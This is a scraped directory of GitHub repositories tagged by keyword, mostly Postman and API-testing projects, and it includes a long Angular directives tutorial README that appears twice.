you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
itsmebhavin/nodejs-express-typescript-boilerplate
boiler, boilerplate, express, node, nodejs, script, type, types, typescript 		Sample boilerplate project for node.js, express using TypeScript and Gulp. 0 stars 0 watchers 8 forks
AndreiRupertti/newman-contract
boiler, boilerplate, collection, contract, newman, postman collection, program, programmatically, test, testing 		Creates a boilerplate postman collection for contract testing programmatically 1 stars 1 watchers 0 forks
shahedex/nodeREST_boilerplate
boiler, boilerplate, mongo, mongod, mongodb, node 		REST-API Boilerplate using nodeJS and mongodb 0 stars 0 watchers 0 forks
Luke984/PostmanSetUpCollectionWorkFlow
boiler, boilerplate, collection, workflow 		A boilerplate for manage workflow in a collection of Postman 0 stars 0 watchers 0 forks
tmack8001/postman-boilerplate
boiler, boilerplate 		A Boilerplate Collection for use with Postman 0 stars 0 watchers 0 forks

future (8 listings) (Back to Top)

futuretea/newman
docker, future, image, newman 		docker image for postman/newman 1 stars 1 watchers 0 forks
Andriy-Kulak/ServerSideAuthWithNode
application, command, future, host, local, mongo, mongod, mongodb, node, setup, signup, terminal, test 		Server side setup with node that can be used for future application. To use, 1) run mongodb with 'mongod' command 2) In another terminal, run npm with 'npm run dev' 3) go to Postman and use localhost:3090/ && localhost:3090/signup && localhost:3090/signin to test the app 1 stars 1 watchers 0 forks
hairchinh/postman-pro-github-
data, future, github, projects, resource, source, storage 		postman pro github . Postman data github resource storage: applied to projects across space & time back to the past of the future 0 stars 0 watchers 0 forks
ragizaki/ConsultED
backend, chat, design, designed, future, learn, model, options, software, student, test, tests 		FAQ chatbot designed to help secondary students better learn of their post-secondary options. The model tests the accuracy of responses and incorporates them in the future. Postman software was used, and called the Genesys API to create the backend of the chatbot. 0 stars 0 watchers 0 forks
saimatsumoto/postman-newman-jenkins
future, integrate, jenkins, newman, order, test, tests 		Testing to run postman API tests with Newman in order to integrate with Jenkins in the future 0 stars 0 watchers 0 forks
sharmacloud/Postman
cloud, future, image, images, official, python, scheduling, system, unofficial, user, video 		A scheduling system written in python around the unofficial instagram_api to post images and videos to a user's instagram any time into the future. 0 stars 0 watchers 0 forks
skaler12/Postman-CRUD_Repo-Hibernate-More---Furniture_Warehouse-
application, branch, engine, frontend, future, lang, language, operation, skal 		Furniture Warehouse App. Application shows how i use Hibernate, Jpa, CRUD Repository, and Postam Api. DB H2 and MySql. Actually Api has not frontend, so it presents the operation of the application using the postman application. In the future i want to add new branch concering HQL language and thymeleaf engine ! 0 stars 0 watchers 0 forks
vinay-sv/spring-security-authentication
auth, authentication, branch, collection, connection, future, includes, security, spring, struct, structure 		Authentication Using spring security which includes basic auth, db authentication and jwt. Postman collection added under jwt authentication branch. For Db authentication only the structure is present and not the actual db connections, which is to be implemented in the future. 0 stars 0 watchers 0 forks

mean (8 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users and give it this array as its value: [ { name: "Geoff McMammy", age: 43, email: "[email protected]", city: "Provo" }, { name: "Frederick Deeder", age: 26, email: "[email protected]", city: "Austin" }, { name: "Spencer Rentz", age: 35, email: "[email protected]", city: "Sacramento" }, { name: "Geddup Ngo", age: 43, email: "[email protected]", city: "Orlando" }, { name: "Donst Opbie Leevin", age: 67, email: "[email protected]", city: "Phoenix" } ] Now in your home HTML add a ng-repeat to the directive call. Tell it to repeat for each user in users. Reload your page. It's working! But why? How does each directive instance know what information to display? In the link function console.log the scope parameter. Make sure it's outside of your click listener. You'll see five print outs in your console. Open up any one of them and look to the bottom. Open up the user property. It's exactly what we would want! But again why would that be the case? Don't get too caught up in this next bit if it's too hard to understand, but the ng-repeat is essentially making new tiny scope objects for each individual user in our users array. Now each of our directives is still getting a user property on the scope object just like the directive wanted in the beginning. Woot. Step 4. Ramp it up with Isolate Scope. Directives can do so much more. So let's make that happen. That means we should make.... a new directive!!! This directive's purpose will be to display a selected User and the weather in his/her/its location. Link it up just like the last one. Create a js file for our directive and name it dirWeather. Make an html file named dirWeather.html. Link it up in your index.html and add the template to your new directive object. In your directive's template give it an tag that says Weather just so we can know it's working. Above your ng-repeat on dirDisplay add your new dirWeather directive. If it's not working check the instructions above as to some common reasons why before asking a mentor for help. If you're seeing the Weather text on your page then we're ready to try out the dreaded Isolate Scope. The isolate scope object is one of the stranger API's in angular. I'm sorry but it is. Just refer to this for now. scope: { string: '@', link: '=', func: '&' } The properties on the scope object represent the attributes on the directive in the html. Our example scope object here would look something like this in the html. The hard part here is the @, =, and &. They each have very important and distinct meanings. @ says take in my attribute value as a string. = says take in my attribute value as a two-way bound variable from the parent scope. & says take in my attribute value as a reference to a function on the parent scope. It's also critical to point out that once you add a scope object you have no isolated your directive's scope. Meaning, aside from the values passed in through attributes, this directive has no connection to the $scope of its parent. That being said let's isolate our directive's scope. :worried: Add the scope property to your dirWeather. Give it the value of an object with a property of currentUser whose value is '='. Remember in your html this will look like current-user. This is the third time I've said so don't expect it again. This means that whatever comes into the currentUser attribute is going to be a value of the parent's scope object. For now test this out by passing in users[0]. Find a way to show that users information inside your dirWeather's html. Remember inside your directive now the user is represented by currentUser. Step 5. &? &!? The '=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
cooperstrahan/mean_restful_routing_api
assignment, mean, rest, restful, routing, test, tested 		Coding Dojo's Restful Routing assignment tested on Postman 0 stars 0 watchers 1 forks
DigitalAPI/Postman-Bundle
creation, display, find, form, format, information, mean, parse, parses, play, pull, search, syntax 		Postman to the rescue! It parses your API request and response and displays them in more manageable formats. It also simplifies the creation of API requests, which means you’re off the hook for finding the arcane syntax that will pull the precise information you’re in search of. 0 stars 0 watchers 1 forks
vpapazov/mean-test1
data, mean, test, testing 		testing request/update of the data through postman. 0 stars 0 watchers 0 forks
AndrewJBateman/mean-task-manager
manager, mean, task, tasks, tutorial 		MEAN full-stack tutorial app to manage tasks. Frontend: Angular 9 0 stars 0 watchers 0 forks
judedaryl/MEAN
login, mean, registration, user 		Creating a mean stack for user login and registration 0 stars 0 watchers 0 forks
kevinxu993/Fanlinc
access, agile, application, backend, cloud, data, database, development, flexible, frontend, handling, mean, method, process, relationship, simulate, software, storage, version, web app 		⚫ Developed a web application to foster meaningful relationships between fans, and grow the fervent passions for the fandoms they love. ⚫ Coded in Java with Spring Boot for backend, ReactJS and HTML for frontend. ⚫ Used MySQL database. Used AWS for cloud storage. Used Spring Data JPA to allow data access and Google API to implement map feature. ⚫ Wrote REST APIs in the backend to ensure flexible data handling. ⚫ Tested the APIs using Postman to ensure early failure detection and stable development. ⚫ Worked in a Scrum team using agile software development methodology. ⚫ Used Git for version control to simulate a software development process 0 stars 0 watchers 0 forks

writing (8 listings) (Back to Top)

sivcan/ResponseToFile-Postman
data, file, writing 		This project helps in writing response (or any data) from a postman request to a file 15 stars 15 watchers 7 forks
jiereal/pmdoc
comments, postman scripts, script, scripts, writing 		writing postman scripts in js comments 1 stars 1 watchers 0 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
antonioortegajr/postman-tests
collection, collections, example, examples, generic, mostly, reference, test, tests, writing 		I like writing tests in postman for my collections. This repo is generic examples of these tests for mostly my own reference. 0 stars 0 watchers 0 forks
mistakenot/postman
email, mail, sort, writing 		Learning a full stack (TypeScript, Firebase, Angular 2, Node) by writing some sort of email inbox thing. 0 stars 0 watchers 0 forks
Nishit2011/NodeExpressApp
data, file, trigger, triggering, writing 		Building Restful APIs and triggering them via Postman. Updating and writing the data onto a file 0 stars 0 watchers 0 forks
Solijons/Postman-Tests
java, javascript, sample, script, syntax, test, tests, writing 		Here is sample of writing tests in post using javascript syntax 0 stars 0 watchers 0 forks
vigneshios/FirstApiHello
check, checked, collection, collections, data, database, express, mongo, node, writing 		writing my first api with node, mongo database, express.checked api calls in postman, viewed mongo collections in roboMongo. 0 stars 0 watchers 0 forks

required (7 listings) (Back to Top)

mmsrgit/spring-security-db
auth, authentication, default, display, following, form, format, host, http, json, local, object, objective, operation, operations, play, require, required, secure, secured, security, spring, urls, user 		This objective of this project is to perform CRUD operations in a secured way. BASIC authentication is required to insert/update/read/delete the records from RECORDS table using following URLs. http://localhost:8080/all - GET http://localhost:8080/getSimpleRecord http://localhost:8080/secured/getRecords http://localhost:8080/secured/getRecord/2 http://localhost:8080/secured/createRecord - POST http://localhost:8080/secured/updateRecord - PUT http://localhost:8080/secured/deleteRecord - DELETE The URLs having secured in it, needs to be hit using BASIC authentication in POSTMAN using mmsr/mmsr as username and password. The default format of the records displayed is json. But you can also view the records in XML by appending the urls with ".xml" e.g. http://localhost:8080/secured/getAllRecords - JSON http://localhost:8080/secured/getAllRecords.xml - XML 1 stars 1 watchers 1 forks
Shaykoo/task-manager-api
address, auth, authenticate, authenticated, authentication, data, database, email, mail, manager, notify, require, required, send, sends, site, store, stores, task, tasks, test, user, users, website 		This app is purely based on NodeJS. This app is a task manager app which stores all the users and their tasks in MongoDB database with required authentication of the user to create, read, update and delete the users and their own particular tasks plus when a user gets created or deleted the app sends them email to notify. Use the website address to test it on postman. Get authenticated before using the app on postman. 1 stars 1 watchers 0 forks
alexanderkounadis/Angular-7-CRUD
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 1 forks
alexanderkounadis/Angular-7-CRUD-WebAPI
client, client side, consume, consumes, method, methods, require, required, retrieve, server 		Angular 7 CRUD with Asp.Net Core Web API CRUD Operations - Insert, update, delete and retrieve are implemented in Asp.Net Core Web API with Angular 7. First of all we'll build a Web API project in Asp.Net Core with required methods at server side using Entity Framework Core and SQL Server DB. Then Angular 7 Project consumes those methods from client side. Points discussed : - How to create Web API in Asp.Net Core with CRUD web methods. - Enable CORS in Asp.Net Core. - Angular Form Design with Validation. Tools Used : VS Code, Visual Studio, SSMS, Postman. 0 stars 0 watchers 0 forks
CallanHP/oci-api-signing-postman-collection
collection, form, implements, require, required, script, scripts, signing 		This Postman collection implements pre-request scripts to perform the signing required to invoke the OCI APIs. 0 stars 0 watchers 0 forks
Dilshan97/simple-microservice
customer, details, microservice, mobile, order, phone, place, require, required, retail, service, store 		ABC Company has started with a small mobile phone retail store in Colombo. It is required to capture order details and provide unique identifier for the customer for the order that is placed from the store front 0 stars 0 watchers 0 forks
sharrop/swag-post-gen
excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type 		A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. 0 stars 0 watchers 0 forks

comments (7 listings) (Back to Top)

tangcent/easy-api
comments, document, documentation, elegant 		Elegant documentation comes from elegant code comments 0 stars 0 watchers 7 forks
jiereal/pmdoc
comments, postman scripts, script, scripts, writing 		writing postman scripts in js comments 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
martynow173/practice-3
actor, backend, comments, function, functional, github, handling, http, https, laravel, product, products, rating, relationship, sort, system, user 		Just backend requests handling, use postman. Additional functionality and code refactoring: user ratings, comments, sorting based on them, many-to-many relationship between categories and products. Role system - https://github.com/spatie/laravel-permission 0 stars 0 watchers 0 forks
paulvollmer/PostmanCollectionFromComments
collection, comments, postman collection 		create postman collection from code comments 0 stars 0 watchers 0 forks
venkatgunneri/Messenger-App
client, collection, comments, file, files, message, messages, notation, resource, resources, source 		Messaging App, Creating Profiles, can share messages with sub resources as comments and likes. Code written in using REST API annotations and getting response in JSON. Postman API as a client. worked on resource URI's and collection URI's. 0 stars 0 watchers 0 forks

authorization (7 listings) (Back to Top)

tomashchuk/booking
auth, authorization, book, booking, heroku, http, https, login, register, test, testing 		REST API Booking Database with JWT authorization (using Bearer). Registration - https://bookingstest.herokuapp.com/auth/register/. Login - https://bookingstest.herokuapp.com/auth/login/ Root api: https://bookingstest.herokuapp.com/api/. Recommended to use Postman for testing purposes. 0 stars 0 watchers 0 forks
aymkin/track-server
auth, authorization, cloud, course, error, express, handling, hashi, http, https, learn, middleware, native, react, redux, server, track, udemy 		Back-end for Front-enders, за два часа можно просмотреть как с минимум усилий: установить express написать 4 эндпоинта подключить к MongoDB cloud базовое использование Postman что такое схемы и модели (Mongoose) зачем нужен JWT (Json Web Token) + как его имплементировать в проект что значит натереть и присолить пароль (salting and hashing password) и почему это по проавославному как ограничить доступ к данным не авторизированным пользователям (middleware authorizationRequire) обработка потенциальных ошибок (error handling) уроки 165-186 https://www.udemy.com/course/the-complete-react-native-and-redux-course/learn/lecture/15707662 0 stars 0 watchers 0 forks
cpvariyani/identity-server-4-policy-based-authorization-.netcore
